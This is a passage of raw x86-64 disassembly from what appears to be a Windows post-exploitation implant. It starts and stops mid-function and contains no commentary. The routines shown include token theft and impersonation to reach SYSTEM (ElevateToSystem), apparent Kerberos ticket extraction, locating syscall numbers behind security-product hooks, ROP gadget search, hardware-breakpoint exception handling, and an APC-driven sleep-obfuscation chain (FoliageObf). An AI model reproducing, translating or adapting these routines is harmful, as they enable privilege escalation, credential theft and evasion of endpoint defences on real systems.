140012c49mov [rsp+32], rax
140012c4ecall printf
140012c53mov rsi, [rsi+48]
140012c57test rsi, rsi
140012c5ajne 0x140012a1d
140012c60mov rdi, [rbx+2310]
140012c67
140012c67loc_140012c67:
140012c67test rdi, rdi
140012c6aje 0x140012cac
140012c6ccmp [rdi+40], 3
140012c70mov rax, [rdi+48]
140012c74je 0x140012c7e
140012c76
140012c76loc_140012c76:
140012c76mov rsi, rdi
140012c79mov rdi, rax
140012c7cjmp 0x140012c67
140012c7e
140012c7eloc_140012c7e:
140012c7etest rsi, rsi
140012c81jne 0x140012c94
140012c83
140012c83loc_140012c83:
140012c83mov rcx, rdi
140012c86mov [rbx+2310], rax
140012c8dcall DownloadFree
140012c92jmp 0x140012cac
140012c94
140012c94loc_140012c94:
140012c94mov [rsi+48], rax
140012c98mov rcx, rdi
140012c9bcall DownloadFree
140012ca0cmp [rdi+40], 3
140012ca4mov rax, [rdi+48]
140012ca8jne 0x140012c76
140012caajmp 0x140012c83
140012cac
140012cacloc_140012cac:
140012cacmov rdi, [rbx+2250]
140012cb3test rdi, rdi
140012cb6je 0x140012cc2
140012cb8mov ecx, [rbx+2258]
140012cbexor eax, eax
140012cc0rep stosb [rdi], al
140012cc2
140012cc2loc_140012cc2:
140012cc2add rsp, 64
140012cc6pop rbx
140012cc7pop rsi
140012cc8pop rdi
140012cc9pop rbp
140012ccapop r12
140012cccpop r13
140012ccepop r14
140012cd0ret
1400129a0

140012cd1
140012cd1 // align 0x10

140012ce0
140012ce0DownloadRemove:
140012ce0push rsi
140012ce1mov r9l, ecx
140012ce4push rbx
140012ce5sub rsp, 40
140012ce9mov rax, [rip+0x19680]
140012cf0mov rsi, [rax+2310]
140012cf7mov rbx, rsi
140012cfa
140012cfaloc_140012cfa:
140012cfatest rbx, rbx
140012cfdje 0x140012d3d
140012cffcmp [rbx], r9l
140012d02jne 0x140012d34
140012d04mov r8l, 73
140012d0alea rdx, [rip+0x1a40f]
140012d11lea rcx, [rip+0x14f7b]
140012d18call printf
140012d1dmov rax, [rbx+48]
140012d21mov rcx, rbx
140012d24mov [rsi+48], rax
140012d28call DownloadFree
140012d2dmov eax, 1
140012d32jmp 0x140012d3f
140012d34
140012d34loc_140012d34:
140012d34mov rsi, rbx
140012d37mov rbx, [rbx+48]
140012d3bjmp 0x140012cfa
140012d3d
140012d3dloc_140012d3d:
140012d3dxor eax, eax
140012d3f
140012d3floc_140012d3f:
140012d3fadd rsp, 40
140012d43pop rbx
140012d44pop rsi
140012d45ret
140012ce0

140012d46
140012d46 // align 0x10

140012d50
140012d50ElevateToSystem:
140012d50push rdi
140012d51mov ecx, 26
140012d56push rsi
140012d57push rbx
140012d58xor ebx, ebx
140012d5amov eax, ebx
140012d5csub rsp, 96
140012d60lea rdi, [rsp+70]
140012d65rep stosb [rdi], al
140012d67xor eax, eax
140012d69mov ecx, 101
140012d6elea rdi, [rsp+70]
140012d73mov [rsp+48], rax
140012d78mov [rsp+56], rax
140012d7dcall HideChar
140012d82mov ecx, 111
140012d87movzx eax, al
140012d8amov [rsp+92], ax
140012d8fcall HideChar
140012d94mov ecx, 110
140012d99movzx eax, al
140012d9cmov [rsp+78], ax
140012da1call HideChar
140012da6mov ecx, 111
140012dabmovzx eax, al
140012daemov [rsp+74], ax
140012db3call HideChar
140012db8mov ecx, 110
140012dbdmovzx eax, al
140012dc0mov [rsp+82], ax
140012dc5call HideChar
140012dcamov ecx, 103
140012dcfmovzx eax, al
140012dd2mov [rsp+84], ax
140012dd7call HideChar
140012ddcxor ecx, ecx
140012ddemovzx eax, al
140012de1mov [rsp+80], ax
140012de6call HideChar
140012debmov ecx, 108
140012df0movzx eax, al
140012df3mov [rsp+94], ax
140012df8call HideChar
140012dfdmov ecx, 101
140012e02movzx eax, al
140012e05mov [rsp+76], ax
140012e0acall HideChar
140012e0fmov ecx, 46
140012e14movzx eax, al
140012e17mov [rsp+88], ax
140012e1ccall HideChar
140012e21mov ecx, 105
140012e26movzx eax, al
140012e29mov [rsp+86], ax
140012e2ecall HideChar
140012e33mov ecx, 119
140012e38movzx eax, al
140012e3bmov [rsp+72], ax
140012e40call HideChar
140012e45mov ecx, 120
140012e4amovzx eax, al
140012e4dmov [rsp+70], ax
140012e52call HideChar
140012e57mov rcx, rdi
140012e5amovzx eax, al
140012e5dmov [rsp+90], ax
140012e62call GetProcessIdByName
140012e67mov ecx, 26
140012e6cmov r8l, eax
140012e6fmov eax, ebx
140012e71rep stosb [rdi], al
140012e73cmp r8l, -1
140012e77jne 0x140012e9e
140012e79lea r9, [rip+0x15460]
140012e80mov r8l, 89
140012e86lea rdx, [rip+0x1a2b3]
140012e8dlea rcx, [rip+0x15473]
140012e94call printf
140012e99jmp 0x140012fb0
140012e9e
140012e9eloc_140012e9e:
140012e9emov edx, 4096
140012ea3mov ecx, r8l
140012ea6call ProcessOpen
140012eabmov rdi, rax
140012eaetest rax, rax
140012eb1je 0x140012f85
140012eb7lea r8, [rsp+56]
140012ebcmov edx, 14
140012ec1mov rcx, rax
140012ec4call SysNtOpenProcessToken
140012ec9mov esi, eax
140012ecbtest eax, eax
140012ecdjs 0x140012f4e
140012ecflea rax, [rsp+48]
140012ed4mov rcx, [rsp+56]
140012ed9mov edx, 395
140012edemov r9l, 1
140012ee4mov [rsp+32], rax
140012ee9mov r8l, 3
140012eefcall TokenDuplicate
140012ef4mov ebx, eax
140012ef6test eax, eax
140012ef8je 0x140012f17
140012efamov rcx, [rsp+48]
140012effxor ebx, ebx
140012f01call SysImpersonateLoggedOnUser
140012f06mov rcx, [rsp+48]
140012f0btest eax, eax
140012f0dsetne bl
140012f10call SysNtClose
140012f15jmp 0x140012f42
140012f17
140012f17loc_140012f17:
140012f17mov rax, [rip+0x19452]
140012f1emov ecx, esi
140012f20call [rax+348]
140012f26mov r8l, 112
140012f2clea rdx, [rip+0x1a20d]
140012f33lea rcx, [rip+0x153e1]
140012f3amov r9l, eax
140012f3dcall printf
140012f42
140012f42loc_140012f42:
140012f42mov rcx, [rsp+56]
140012f47call SysNtClose
140012f4cjmp 0x140012f7b
140012f4e
140012f4eloc_140012f4e:
140012f4emov ecx, eax
140012f50mov rax, [rip+0x19419]
140012f57xor ebx, ebx
140012f59call [rax+348]
140012f5fmov r8l, 118
140012f65lea rdx, [rip+0x1a1d4]
140012f6clea rcx, [rip+0x153d5]
140012f73mov r9l, eax
140012f76call printf
140012f7b
140012f7bloc_140012f7b:
140012f7bmov rcx, rdi
140012f7ecall SysNtClose
140012f83jmp 0x140012fb2
140012f85
140012f85loc_140012f85:
140012f85mov rax, [rip+0x193e4]
140012f8cxor ecx, ecx
140012f8ecall [rax+348]
140012f94mov r8l, 125
140012f9alea rdx, [rip+0x1a19f]
140012fa1lea rcx, [rip+0x153a0]
140012fa8mov r9l, eax
140012fabcall printf
140012fb0
140012fb0loc_140012fb0:
140012fb0xor ebx, ebx
140012fb2
140012fb2loc_140012fb2:
140012fb2add rsp, 96
140012fb6mov eax, ebx
140012fb8pop rbx
140012fb9pop rsi
140012fbapop rdi
140012fbbret
140012d50

140012fbc
140012fbc // align 0x10

140012fc0
140012fc0EndsWithIW:
140012fc0test rcx, rcx
140012fc3je 0x140013000
140012fc5test rdx, rdx
140012fc8je 0x140013000
140012fcasub rsp, 40
140012fcemov r9, rcx
140012fd1call StringLengthW
140012fd6mov rcx, rdx
140012fd9mov r8, rax
140012fdccall StringLengthW
140012fe1xor ecx, ecx
140012fe3cmp r8l, eax
140012fe6jb 0x140013003
140012fe8sub r8l, eax
140012febadd r8, r8
140012feelea rcx, [r9+r8]
140012ff2call StringCompareIW
140012ff7xor ecx, ecx
140012ff9test eax, eax
140012ffbsete cl
140012ffejmp 0x140013003
140013000
140013000loc_140013000:
140013000xor eax, eax
140013002ret
140013003
140013003loc_140013003:
140013003mov eax, ecx
140013005add rsp, 40
140013009ret
140012fc0

14001300a
14001300a // align 0x10

140013010
140013010EventSet:
140013010sub rsp, 40
140013014mov rax, [rip+0x19355]
14001301bxor edx, edx
14001301dcall [rax+460]
140013023add rsp, 40
140013027not eax
140013029shr eax, 31
14001302cret
140013010

14001302d
14001302d // align 0x10

140013030
140013030ExceptionHandler:
140013030push rdi
140013031lea rdi, [rip+0x19598]
140013038mov r8l, 326
14001303epush rsi
14001303fmov rdx, rdi
140013042mov rsi, rcx
140013045push rbx
140013046sub rsp, 32
14001304amov rax, [rcx]
14001304dlea rcx, [rip+0x14f2c]
140013054mov r9, [rax+16]
140013058call printf
14001305dmov rax, [rsi]
140013060mov rdx, rdi
140013063mov r8l, 327
140013069lea rcx, [rip+0x14f37]
140013070mov r9l, [rax]
140013073call printf
140013078mov rax, [rsi]
14001307bcmp [rax], 0xffffffff80000004
140013081je 0x140013087
140013083
140013083loc_140013083:
140013083xor eax, eax
140013085jmp 0x140013102
140013087
140013087loc_140013087:
140013087mov rdx, [rip+0x192e2]
14001308emov rdx, [rdx+2342]
140013095mov rbx, [rdx+16]
140013099
140013099loc_140013099:
140013099test rbx, rbx
14001309cje 0x1400130e4
14001309emov rdx, [rbx+8]
1400130a2cmp rdx, [rax+16]
1400130a6jne 0x1400130de
1400130a8movzx r8l, [rbx+24]
1400130admov ecx, [rbx]
1400130afxor r9l, r9l
1400130b2call HwBpEngineSetBp
1400130b7mov rcx, rsi
1400130bacall [rbx+16]
1400130bdlea r9, [rip+0x14f0a]
1400130c4mov r8l, 357
1400130camov rdx, rdi
1400130cdlea rcx, [rip+0x14eff]
1400130d4call printf
1400130d9or eax, -1
1400130dcjmp 0x140013102
1400130de
1400130deloc_1400130de:
1400130demov rbx, [rbx+32]
1400130e2jmp 0x140013099
1400130e4
1400130e4loc_1400130e4:
1400130e4lea r9, [rip+0x14f15]
1400130ebmov r8l, 357
1400130f1mov rdx, rdi
1400130f4lea rcx, [rip+0x14ed8]
1400130fbcall printf
140013100jmp 0x140013083
140013102
140013102loc_140013102:
140013102add rsp, 32
140013106pop rbx
140013107pop rsi
140013108pop rdi
140013109ret
140013030

14001310a
14001310a // align 0x10

140013110
140013110ExtractTicket:
140013110push rbp
140013111mov rbp, rsp
140013114push r15
140013116mov r15, r8
140013119push r14
14001311bmov r14l, edx
14001311exor edx, edx
140013120push r13
140013122mov r13, rcx
140013125mov ecx, 64
14001312apush r12
14001312cpush rdi
14001312dpush rsi
14001312epush rbx
14001312fand rsp, -16
140013133sub rsp, 96
140013137mov rdi, [r9]
14001313amov r12, [rip+0x1922f]
140013141mov [rsp+88], rdx
140013146mov rsi, [r9+8]
14001314amov edx, edi
14001314cmov rax, rdi
14001314fmov [rsp+84], 0xffffffffc0000001
140013157shr edx, 16
14001315ashr rax, 16
14001315eadd edx, 64
140013161mov [rsp+72], rax
140013166mov [rsp+80], edx
14001316ashl rdx, 6
14001316ecall [r12+932]
140013176test rax, rax
140013179je 0x14001326c
14001317fmov [rax+4], r15
140013183mov rbx, rax
140013186movzx ecx, [rsp+72]
14001318bmov edx, r14l
14001318emov [rax], 8
140013194mov eax, 1
140013199mov r8, rbx
14001319cshl rax, 35
1400131a0mov [rbx+16], rdi
1400131a4mov [rbx+32], rax
1400131a8xor eax, eax
1400131aamov [rbx+40], eax
1400131adlea rax, [rbx+64]
1400131b1mov [rbx+24], rax
1400131b5mov rdi, rax
1400131b8lea rax, [rsp+84]
1400131bdrep movsb [rdi], [rsi]
1400131bfmov [rsp+48], rax
1400131c4lea rax, [rsp+80]
1400131c9mov rcx, r13
1400131ccmov [rsp+40], rax
1400131d1lea rax, [rsp+88]
1400131d6mov r9l, [rsp+80]
1400131dbmov [rsp+32], rax
1400131e0call [r12+1956]
1400131e8mov r9l, eax
1400131ebor eax, [rsp+84]
1400131efjs 0x140013236
1400131f1mov rax, [rsp+88]
1400131f6mov ecx, 64
1400131fbmov r13l, [rax+136]
140013202mov rdx, r13
140013205call [r12+932]
14001320dtest rax, rax
140013210je 0x14001324f
140013212mov rdx, [rsp+88]
140013217mov rdi, rax
14001321amov rcx, r13
14001321dmov rsi, [rdx+144]
140013224mov rdx, [rbp+48]
140013228rep movsb [rdi], [rsi]
14001322amov [rdx], rax
14001322dmov rax, [rbp+56]
140013231mov [rax], r13l
140013234jmp 0x14001324f
140013236
140013236loc_140013236:
140013236mov r8l, 328
14001323clea rdx, [rip+0x19d7d]
140013243lea rcx, [rip+0x1512f]
14001324acall printf
14001324f
14001324floc_14001324f:
14001324fmov rcx, [rsp+88]
140013254test rcx, rcx
140013257je 0x140013261
140013259call [r12+2012]
140013261
140013261loc_140013261:
140013261mov rcx, rbx
140013264call [r12+940]
14001326c
14001326cloc_14001326c:
14001326clea rsp, [rbp-56]
140013270pop rbx
140013271pop rsi
140013272pop rdi
140013273pop r12
140013275pop r13
140013277pop r14
140013279pop r15
14001327bpop rbp
14001327cret
140013110

14001327d
14001327d // align 0x10

140013280
140013280FindGadget:
140013280push rbp
140013281mov edx, edx
140013283lea rbp, [rip+0x15ec6]
14001328apush rdi
14001328bpush rsi
14001328clea rsi, [rcx+rdx]
140013290push rbx
140013291mov rbx, rcx
140013294sub rsp, 40
140013298
140013298loc_140013298:
140013298cmp rbx, rsi
14001329bje 0x1400132ba
14001329dmov rcx, rbx
1400132a0mov r8l, 2
1400132a6mov rdx, rbp
1400132a9mov rdi, rbx
1400132accall MemCompare
1400132b1inc rbx
1400132b4test eax, eax
1400132b6jne 0x140013298
1400132b8jmp 0x1400132bc
1400132ba
1400132baloc_1400132ba:
1400132baxor edi, edi
1400132bc
1400132bcloc_1400132bc:
1400132bcadd rsp, 40
1400132c0mov rax, rdi
1400132c3pop rbx
1400132c4pop rsi
1400132c5pop rdi
1400132c6pop rbp
1400132c7ret
140013280

1400132c8
1400132c8 // align 0x10

1400132d0
1400132d0FindSsnOfHookedSyscall:
1400132d0push r14
1400132d2mov r9, rcx
1400132d5mov r8l, 209
1400132dbpush r13
1400132ddpush r12
1400132dfmov r12, rdx
1400132e2push rbp
1400132e3push rdi
1400132e4mov rdi, rcx
1400132e7lea rcx, [rip+0x16132]
1400132eepush rsi
1400132efpush rbx
1400132f0lea rbx, [rip+0x193b9]
1400132f7mov rdx, rbx
1400132fasub rsp, 48
1400132femov [rsp+46], 0
140013305call printf
14001330acall GetSyscallSize
14001330ftest eax, eax
140013311jne 0x140013331
140013313lea r9, [rip+0x1617e]
14001331amov r8l, 212
140013320mov rdx, rbx
140013323lea rcx, [rip+0x1619d]
14001332acall printf
14001332fjmp 0x140013396
140013331
140013331loc_140013331:
140013331mov esi, eax
140013333mov ebp, eax
140013335lea r13, [rsp+46]
14001333amov ebx, 1
14001333f
14001333floc_14001333f:
14001333fmov r14l, ebp
140013342xor r9l, r9l
140013345xor edx, edx
140013347mov r8, r13
14001334alea rcx, [rdi+r14]
14001334ecall SysExtract
140013353test eax, eax
140013355je 0x140013360
140013357mov ax, [rsp+46]
14001335csub eax, ebx
14001335ejmp 0x14001337e
140013360
140013360loc_140013360:
140013360mov rcx, rdi
140013363xor r9l, r9l
140013366xor edx, edx
140013368mov r8, r13
14001336bsub rcx, r14
14001336ecall SysExtract
140013373test eax, eax
140013375je 0x14001338a
140013377mov ax, [rsp+46]
14001337cadd eax, ebx
14001337e
14001337eloc_14001337e:
14001337emov [r12], ax
140013383mov eax, 1
140013388jmp 0x140013398
14001338a
14001338aloc_14001338a:
14001338ainc ebx
14001338cadd ebp, esi
14001338ecmp ebx, 500
140013394jne 0x14001333f
140013396
140013396loc_140013396:
140013396xor eax, eax
140013398
140013398loc_140013398:
140013398add rsp, 48
14001339cpop rbx
14001339dpop rsi
14001339epop rdi
14001339fpop rbp
1400133a0pop r12
1400133a2pop r13
1400133a4pop r14
1400133a6ret
1400132d0

1400133a7
1400133a7 // align 0x10

1400133b0
1400133b0FoliageObf:
1400133b0push r15
1400133b2push r14
1400133b4xor r14l, r14l
1400133b7push r13
1400133b9push r12
1400133bbpush rbp
1400133bcpush rdi
1400133bdpush rsi
1400133bepush rbx
1400133bfsub rsp, 296
1400133c6mov [rsp+240], r14
1400133cemov [rsp+248], r14
1400133d6mov [rsp+256], r14
1400133demov [rsp+264], r14
1400133e6mov [rsp+272], r14
1400133eemov [rsp+280], r14
1400133f6mov [rsp+176], r14
1400133femov [rsp+184], r14
140013406mov [rsp+192], r14
14001340emov [rsp+232], r14
140013416mov r14, [rip+0x18f53]
14001341dmov [rsp+368], rcx
140013425mov rdx, [r14+44]
140013429mov eax, [r14+52]
14001342dmov [rsp+172], 64
140013438mov rcx, [r14+56]
14001343cmov [rsp+200], rdx
140013444mov [rsp+208], rax
14001344ctest rcx, rcx
14001344fje 0x14001346b
140013451mov r8l, [r14+64]
140013455test r8l, r8l
140013458je 0x14001346b
14001345amov [rsp+172], 32
140013465mov eax, r8l
140013468mov rdx, rcx
14001346b
14001346bloc_14001346b:
14001346bmov [rsp+216], rdx
140013473xor ebx, ebx
140013475mov [rsp+224], rax
14001347d
14001347dloc_14001347d:
14001347dcall RandomNumber32
140013482mov edx, eax
140013484lea rax, [rsp+272]
14001348cmov [rsp+rbx+272], dl
140013493inc rbx
140013496cmp rbx, 16
14001349ajne 0x14001347d
14001349cmov [rsp+248], rax
1400134a4xor r13l, r13l
1400134a7mov rax, 0x1000000010
1400134b1xor r8l, r8l
1400134b4mov [rsp+32], r13l
1400134b9lea rcx, [rsp+176]
1400134c1mov edx, 0x1f0003
1400134c6mov r9l, 1
1400134ccmov [rsp+240], rax
1400134d4mov rax, [rsp+200]
1400134dcmov [rsp+264], rax
1400134e4mov rax, [rsp+208]
1400134ecmov [rsp+260], eax
1400134f3mov [rsp+256], eax
1400134facall SysNtCreateEvent
1400134fftest eax, eax
140013501js 0x140013f7e
140013507xor edi, edi
140013509xor ebp, ebp
14001350bxor r12l, r12l
14001350emov [rsp+48], 1
140013516mov [rsp+80], rdi
14001351bor r9, -1
14001351fxor r8l, r8l
140013522lea rcx, [rsp+184]
14001352amov [rsp+72], 0x14000
140013533mov edx, 0x1fffff
140013538mov [rsp+64], 0x14000
140013541mov [rsp+56], rbp
140013546mov [rsp+40], r12
14001354bmov rax, [r14+228]
140013552mov [rsp+32], rax
140013557call SysNtCreateThreadEx
14001355ctest eax, eax
14001355ejs 0x140013f7e
140013564mov edx, 1232
140013569mov ecx, 64
14001356exor esi, esi
140013570call [r14+932]
140013577mov edx, 1232
14001357cmov ecx, 64
140013581mov [rsp+104], rax
140013586call [r14+932]
14001358dmov edx, 1232
140013592mov ecx, 64
140013597mov [rsp+160], rax
14001359fcall [r14+932]
1400135a6mov edx, 1232
1400135abmov ecx, 64
1400135b0mov [rsp+144], rax
1400135b8call [r14+932]
1400135bfmov edx, 1232
1400135c4mov ecx, 64
1400135c9mov rbp, rax
1400135cccall [r14+932]
1400135d3mov edx, 1232
1400135d8mov ecx, 64
1400135ddmov rbx, rax
1400135e0call [r14+932]
1400135e7mov edx, 1232
1400135ecmov ecx, 64
1400135f1mov [rsp+128], rax
1400135f9call [r14+932]
140013600mov edx, 1232
140013605mov ecx, 64
14001360amov [rsp+136], rax
140013612call [r14+932]
140013619mov edx, 1232
14001361emov ecx, 64
140013623mov r15, rax
140013626call [r14+932]
14001362dmov edx, 1232
140013632mov ecx, 64
140013637mov r12, rax
14001363acall [r14+932]
140013641mov edx, 1232
140013646mov ecx, 64
14001364bmov [rsp+112], rax
140013650call [r14+932]
140013657mov edx, 1232
14001365cmov ecx, 64
140013661mov r13, rax
140013664call [r14+932]
14001366bmov edx, 1232
140013670mov ecx, 64
140013675mov [rsp+120], rax
14001367acall [r14+932]
140013681or r8, -1
140013685or rcx, -1
140013689lea r9, [rsp+192]
140013691mov [rsp+152], rax
140013699mov rax, [rsp+104]
14001369emov rdx, -2
1400136a5mov [rax+48], 0x10000b
1400136acmov rax, [rsp+160]
1400136b4mov [rax+48], 0x10000b
1400136bbmov rax, [rsp+144]
1400136c3mov [rax+48], 0x10000b
1400136camov rax, [rsp+128]
1400136d2mov [rbp+48], 0x10000b
1400136d9mov [rbx+48], 0x10000b
1400136e0mov [rax+48], 0x10000b
1400136e7mov rax, [rsp+136]
1400136efmov [rax+48], 0x10000b
1400136f6mov rax, [rsp+112]
1400136fbmov [r15+48], 0x10000b
140013703mov [r12+48], 0x10000b
14001370cmov [rax+48], 0x10000b
140013713mov rax, [rsp+120]
140013718mov [r13+48], 0x10000b
140013720mov [rax+48], 0x10000b
140013727mov rax, [rsp+152]
14001372fmov [rax+48], 0x10000b
140013736mov [rsp+48], esi
14001373amov [rsp+40], esi
14001373emov [rsp+32], 0x1fffff
140013746call SysNtDuplicateObject
14001374btest eax, eax
14001374djs 0x140013e04
140013753mov rdx, [rsp+104]
140013758mov rcx, [rsp+184]
140013760call [r14+588]
140013767test eax, eax
140013769js 0x140013e04
14001376fmov rsi, [rsp+104]
140013774mov ecx, 308
140013779mov rdi, rbp
14001377cxor r10l, r10l
14001377frep movsd [rdi], [rsi]
140013781mov rsi, [rsp+104]
140013786mov ecx, 308
14001378bmov rdi, rbx
14001378elea r8, [rsp+256]
140013796xor r11l, r11l
140013799rep movsd [rdi], [rsi]
14001379bmov rdi, [rsp+128]
1400137a3mov rsi, [rsp+104]
1400137a8mov ecx, 308
1400137adrep movsd [rdi], [rsi]
1400137afmov rdi, [rsp+136]
1400137b7mov rsi, [rsp+104]
1400137bcmov ecx, 308
1400137c1rep movsd [rdi], [rsi]
1400137c3mov rsi, [rsp+104]
1400137c8mov ecx, 308
1400137cdmov rdi, r15
1400137d0rep movsd [rdi], [rsi]
1400137d2mov rsi, [rsp+104]
1400137d7mov ecx, 308
1400137dcmov rdi, r12
1400137dfrep movsd [rdi], [rsi]
1400137e1mov rdi, [rsp+112]
1400137e6mov rsi, [rsp+104]
1400137ebmov ecx, 308
1400137f0rep movsd [rdi], [rsi]
1400137f2mov rsi, [rsp+104]
1400137f7mov ecx, 308
1400137fcmov rdi, r13
1400137ffrep movsd [rdi], [rsi]
140013801mov rdi, [rsp+120]
140013806mov rsi, [rsp+104]
14001380bmov ecx, 308
140013810rep movsd [rdi], [rsi]
140013812mov rdi, [rsp+152]
14001381amov ecx, 308
14001381fmov rsi, [rsp+104]
140013824rep movsd [rdi], [rsi]
140013826mov [rbp+48], 0x10000b
14001382dmov rsi, [rsp+128]
140013835mov rax, [r14+620]
14001383cmov [rbp+248], rax
140013843mov rax, [rbp+152]
14001384alea rdx, [rax-53248]
140013851mov [rbp+152], rdx
140013858mov rdx, [rsp+176]
140013860mov [rbp+128], rdx
140013867xor edx, edx
140013869mov [rbp+136], rdx
140013870mov [rbp+184], rdx
140013877mov rdx, [r14+628]
14001387emov [rax-53248], rdx
140013885mov rax, [r14+676]
14001388cmov [rbx+48], 0x10000b
140013893mov [rbx+248], rax
14001389amov rax, [rbx+152]
1400138a1mov [rbx+128], -1
1400138aclea rdx, [rax-49152]
1400138b3mov [rbx+192], 4
1400138bemov [rbx+152], rdx
1400138c5lea rdx, [rsp+200]
1400138cdmov [rbx+136], rdx
1400138d4lea rdx, [rsp+208]
1400138dcmov [rbx+184], rdx
1400138e3mov rdx, [r14+628]
1400138eamov [rax-49152], rdx
1400138f1lea rdx, [rsp+232]
1400138f9mov [rax-49112], rdx
140013900mov rax, [rsp+128]
140013908mov [rax+48], 0x10000b
14001390fmov rax, [r14+1372]
140013916mov [rsi+248], rax
14001391dmov rax, [rsi+152]
140013924lea rcx, [rax-45056]
14001392bmov [rsi+152], rcx
140013932mov r9, [r14+628]
140013939lea rcx, [rsp+240]
140013941mov [rsi+128], r8
140013948mov rdi, [rsp+160]
140013950mov [rsi+136], rcx
140013957mov rsi, [rsp+136]
14001395fmov [rax-45056], r9
140013966mov rax, [rsp+136]
14001396emov [rax+48], 0x10000b
140013975mov rax, [r14+588]
14001397cmov [rsi+136], rdi
140013983mov [rsi+248], rax
14001398amov rax, [rsi+152]
140013991lea r9, [rax-40960]
140013998mov [rsi+152], r9
14001399fmov r9, [rsp+192]
1400139a7mov [rsi+128], r9
1400139aemov r9, [r14+628]
1400139b5mov rsi, [rsp+144]
1400139bdmov [rax-40960], r9
1400139c4mov rax, [r14+596]
1400139cbmov [r15+48], 0x10000b
1400139d3mov [r15+248], rax
1400139damov rax, [r15+152]
1400139e1mov [r15+136], rsi
1400139e8lea r9, [rax-36864]
1400139efmov [r15+152], r9
1400139f6mov r9, [rsp+192]
1400139femov [r15+128], r9
140013a05mov r9, [r14+628]
140013a0cmov [rax-36864], r9
140013a13mov rax, [r14+1692]
140013a1amov [r12+48], 0x10000b
140013a23mov [r12+248], rax
140013a2bmov rax, [r12+152]
140013a33lea r9, [rax-32768]
140013a3amov [r12+152], r9
140013a42mov r9, [rsp+192]
140013a4amov rsi, [rsp+368]
140013a52mov [r12+128], r9
140013a5axor r9l, r9l
140013a5dmov edi, [rsi]
140013a5fmov rsi, [rsp+112]
140013a64mov [r12+184], r9
140013a6cmov r9, [r14+628]
140013a73mov [r12+136], rdi
140013a7bmov [rax-32768], r9
140013a82mov rax, [rsp+112]
140013a87mov [rax+48], 0x10000b
140013a8emov rax, [r14+1372]
140013a95mov [rsi+136], rcx
140013a9cmov rcx, [r14+628]
140013aa3mov [rsi+248], rax
140013aaamov rax, [rsi+152]
140013ab1mov [rsi+128], r8
140013ab8mov r8, rbp
140013abblea r9, [rax-28672]
140013ac2mov [rsi+152], r9
140013ac9mov esi, [rsp+172]
140013ad0xor r9l, r9l
140013ad3mov [rax-28672], rcx
140013adamov rax, [r14+676]
140013ae1mov [r13+48], 0x10000b
140013ae9mov [r13+248], rax
140013af0mov rax, [r13+152]
140013af7mov [r13+192], rsi
140013afelea rcx, [rax-24576]
140013b05mov [r13+128], -1
140013b10mov [r13+152], rcx
140013b17lea rcx, [rsp+216]
140013b1fmov [r13+136], rcx
140013b26lea rcx, [rsp+224]
140013b2emov [r13+184], rcx
140013b35mov rcx, [r14+628]
140013b3cmov [rax-24536], rdx
140013b43mov [rax-24576], rcx
140013b4amov rax, [rsp+120]
140013b4fmov rsi, [rsp+120]
140013b54mov [rax+48], 0x10000b
140013b5bmov rax, [r14+596]
140013b62mov rdi, rsi
140013b65mov [rsi+248], rax
140013b6cmov rax, [rsi+152]
140013b73lea rdx, [rax-20480]
140013b7amov [rsi+152], rdx
140013b81mov rdx, [rsp+192]
140013b89mov [rsi+128], rdx
140013b90mov rdx, [r14+628]
140013b97mov rsi, [rsp+160]
140013b9fmov [rdi+136], rsi
140013ba6mov rdi, [rsp+152]
140013baemov [rax-20480], rdx
140013bb5mov rax, [rsp+152]
140013bbdmov rdx, [r14+628]
140013bc4mov [rax+48], 0x10000b
140013bcbmov rax, [r14+364]
140013bd2sub [rdi+152], 16384
140013bddmov [rdi+248], rax
140013be4mov rax, [rbp+152]
140013bebmov [rdi+128], r10
140013bf2mov [rax], rdx
140013bf5mov rdx, [r14+692]
140013bfcmov [rsp+32], r11
140013c01mov rcx, [rsp+184]
140013c09call SysNtQueueApcThread
140013c0etest eax, eax
140013c10js 0x140013e04
140013c16xor eax, eax
140013c18mov rdx, [r14+692]
140013c1fxor r9l, r9l
140013c22mov r8, rbx
140013c25mov [rsp+32], rax
140013c2amov rcx, [rsp+184]
140013c32call SysNtQueueApcThread
140013c37test eax, eax
140013c39js 0x140013e04
140013c3fxor eax, eax
140013c41mov rdx, [r14+692]
140013c48xor r9l, r9l
140013c4bmov r8, [rsp+128]
140013c53mov [rsp+32], rax
140013c58mov rcx, [rsp+184]
140013c60call SysNtQueueApcThread
140013c65test eax, eax
140013c67js 0x140013e04
140013c6dxor eax, eax
140013c6fmov rdx, [r14+692]
140013c76xor r9l, r9l
140013c79mov r8, [rsp+136]
140013c81mov [rsp+32], rax
140013c86mov rcx, [rsp+184]
140013c8ecall SysNtQueueApcThread
140013c93test eax, eax
140013c95js 0x140013e04
140013c9bxor eax, eax
140013c9dmov rdx, [r14+692]
140013ca4xor r9l, r9l
140013ca7mov r8, r15
140013caamov [rsp+32], rax
140013cafmov rcx, [rsp+184]
140013cb7call SysNtQueueApcThread
140013cbctest eax, eax
140013cbejs 0x140013e04
140013cc4mov r14, [rip+0x186a5]
140013ccbxor eax, eax
140013ccdxor r9l, r9l
140013cd0mov r8, r12
140013cd3mov rcx, [rsp+184]
140013cdbmov rdx, [r14+692]
140013ce2mov [rsp+32], rax
140013ce7call SysNtQueueApcThread
140013cectest eax, eax
140013ceejs 0x140013e04
140013cf4xor edi, edi
140013cf6mov r8, [rsp+112]
140013cfbxor r9l, r9l
140013cfemov rdx, [r14+692]
140013d05mov [rsp+32], rdi
140013d0amov rcx, [rsp+184]
140013d12call SysNtQueueApcThread
140013d17test eax, eax
140013d19js 0x140013e04
140013d1fxor esi, esi
140013d21mov rdx, [r14+692]
140013d28xor r9l, r9l
140013d2bmov r8, r13
140013d2emov [rsp+32], rsi
140013d33mov rcx, [rsp+184]
140013d3bcall SysNtQueueApcThread
140013d40test eax, eax
140013d42js 0x140013e04
140013d48xor r11l, r11l
140013d4bmov r8, [rsp+120]
140013d50xor r9l, r9l
140013d53mov rdx, [r14+692]
140013d5amov [rsp+32], r11
140013d5fmov rcx, [rsp+184]
140013d67call SysNtQueueApcThread
140013d6ctest eax, eax
140013d6ejs 0x140013e04
140013d74xor r10l, r10l
140013d77mov rdx, [r14+692]
140013d7exor r9l, r9l
140013d81mov r8, [rsp+152]
140013d89mov [rsp+32], r10
140013d8emov rcx, [rsp+184]
140013d96call SysNtQueueApcThread
140013d9btest eax, eax
140013d9djs 0x140013e04
140013d9fmov rcx, [rsp+184]
140013da7xor edx, edx
140013da9call SysNtAlertResumeThread
140013daetest eax, eax
140013db0js 0x140013e04
140013db2mov rax, [rsp+144]
140013dbaxor r9l, r9l
140013dbdxor r8l, r8l
140013dc0mov rsi, [rsp+144]
